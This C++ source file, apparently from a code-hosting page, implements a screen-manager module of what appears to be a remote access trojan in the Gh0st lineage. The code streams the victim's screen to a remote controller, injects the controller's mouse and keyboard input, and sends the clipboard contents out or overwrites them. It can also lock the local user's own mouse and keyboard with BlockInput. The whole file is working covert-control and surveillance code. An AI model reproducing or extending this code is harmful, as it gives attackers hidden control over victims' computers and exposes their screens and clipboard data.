320 lines
7.5 KiB
C++
320 lines
7.5 KiB
C++
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#include "stdafx.h"
|
||
#include "ScreenManager.h"
|
||
#include "Common.h"
|
||
#include <IOSTREAM>
|
||
#if _MSC_VER <= 1200
|
||
#include <Winable.h>
|
||
#else
|
||
#include <WinUser.h>
|
||
#endif
|
||
#include <time.h>
|
||
using namespace std;
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#define WM_MOUSEWHEEL 0x020A
|
||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||
|
||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||
{
|
||
m_bIsWorking = TRUE;
|
||
m_bIsBlockInput = FALSE;
|
||
|
||
m_ScreenSpyObject = new CScreenSpy(16);
|
||
|
||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||
}
|
||
|
||
|
||
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||
{
|
||
CScreenManager *This = (CScreenManager *)lParam;
|
||
|
||
This->SendBitMapInfo(); //发送bmp位图结构
|
||
|
||
// 等控制端对话框打开
|
||
This->WaitForDialogOpen();
|
||
|
||
clock_t last = clock();
|
||
This->SendFirstScreen();
|
||
#if USING_ZLIB
|
||
const int fps = 8;// 帧率
|
||
#elif USING_LZ4
|
||
const int fps = 8;// 帧率
|
||
#else
|
||
const int fps = 8;// 帧率
|
||
#endif
|
||
const int sleep = 1000 / fps;// 间隔时间（ms）
|
||
timeBeginPeriod(1);
|
||
while (This->m_bIsWorking)
|
||
{
|
||
ULONG ulNextSendLength = 0;
|
||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||
if (szBuffer)
|
||
{
|
||
int span = sleep-(clock() - last);
|
||
Sleep(span > 0 ? span : 1);
|
||
if (span < 0)
|
||
printf("SendScreen Span = %d ms\n", span);
|
||
last = clock();
|
||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||
delete[] szBuffer;
|
||
szBuffer = NULL;
|
||
}
|
||
}
|
||
timeEndPeriod(1);
|
||
cout<<"ScreenWorkThread Exit\n";
|
||
|
||
return 0;
|
||
}
|
||
|
||
VOID CScreenManager::SendBitMapInfo()
|
||
{
|
||
//这里得到bmp结构的大小
|
||
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
|
||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||
|
||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||
//这里将bmp位图结构发送出去
|
||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
|
||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||
}
|
||
|
||
CScreenManager::~CScreenManager()
|
||
{
|
||
cout<<"ScreenManager 析构函数\n";
|
||
|
||
m_bIsWorking = FALSE;
|
||
|
||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||
if (m_hWorkThread!=NULL)
|
||
{
|
||
CloseHandle(m_hWorkThread);
|
||
}
|
||
|
||
delete[] m_ScreenSpyObject;
|
||
m_ScreenSpyObject = NULL;
|
||
}
|
||
|
||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
switch(szBuffer[0])
|
||
{
|
||
case COMMAND_NEXT:
|
||
{
|
||
NotifyDialogIsOpen();
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_CONTROL:
|
||
{
|
||
BlockInput(false);
|
||
ProcessCommand(szBuffer + 1, ulLength - 1);
|
||
BlockInput(m_bIsBlockInput); //再恢复成用户的设置
|
||
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
|
||
{
|
||
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //鼠标键盘的锁定
|
||
|
||
BlockInput(m_bIsBlockInput);
|
||
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||
{
|
||
SendClientClipboard();
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||
{
|
||
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
::EmptyClipboard();
|
||
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||
if (hGlobal != NULL) {
|
||
|
||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||
GlobalUnlock(hGlobal);
|
||
SetClipboardData(CF_TEXT, hGlobal);
|
||
GlobalFree(hGlobal);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
VOID CScreenManager::SendClientClipboard()
|
||
{
|
||
if (!::OpenClipboard(NULL)) //打开剪切板设备
|
||
return;
|
||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //代表着一个内存
|
||
if (hGlobal == NULL)
|
||
{
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //锁定
|
||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||
|
||
|
||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||
::GlobalUnlock(hGlobal);
|
||
::CloseClipboard();
|
||
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
|
||
delete[] szBuffer;
|
||
}
|
||
|
||
|
||
VOID CScreenManager::SendFirstScreen()
|
||
{
|
||
//类CScreenSpy的getFirstScreen函数中得到图像数据
|
||
//然后用getFirstImageSize得到数据的大小然后发送出去
|
||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
|
||
if (FirstScreenData == NULL)
|
||
{
|
||
return;
|
||
}
|
||
|
||
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
|
||
|
||
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||
|
||
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||
|
||
delete [] szBuffer;
|
||
|
||
szBuffer = NULL;
|
||
}
|
||
|
||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||
{
|
||
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||
|
||
if (ulNextSendLength == 0 || NextScreenData == NULL)
|
||
{
|
||
return NULL;
|
||
}
|
||
|
||
ulNextSendLength += 1;
|
||
|
||
char* szBuffer = new char[ulNextSendLength];
|
||
|
||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||
|
||
return szBuffer;
|
||
}
|
||
|
||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||
{
|
||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
||
}
|
||
|
||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
// 数据包不合法
|
||
if (ulLength % sizeof(MSG) != 0)
|
||
return;
|
||
|
||
// 命令个数
|
||
ULONG ulMsgCount = ulLength / sizeof(MSG);
|
||
|
||
// 处理多个命令
|
||
for (int i = 0; i < ulMsgCount; ++i)
|
||
{
|
||
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
|
||
switch (Msg->message)
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
case WM_LBUTTONUP:
|
||
case WM_RBUTTONDOWN:
|
||
case WM_RBUTTONUP:
|
||
case WM_MOUSEMOVE:
|
||
case WM_LBUTTONDBLCLK:
|
||
case WM_RBUTTONDBLCLK:
|
||
case WM_MBUTTONDOWN:
|
||
case WM_MBUTTONUP:
|
||
{
|
||
POINT Point;
|
||
Point.x = LOWORD(Msg->lParam);
|
||
Point.y = HIWORD(Msg->lParam);
|
||
if(m_ScreenSpyObject->m_bZoomed)
|
||
{
|
||
Point.x *= m_ScreenSpyObject->m_wZoom;
|
||
Point.y *= m_ScreenSpyObject->m_hZoom;
|
||
}
|
||
SetCursorPos(Point.x, Point.y);
|
||
SetCapture(WindowFromPoint(Point));
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
|
||
switch(Msg->message) //端口发加快递费
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MOUSEWHEEL:
|
||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
|
||
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_SYSKEYDOWN:
|
||
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
|
||
break;
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYUP:
|
||
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
}
|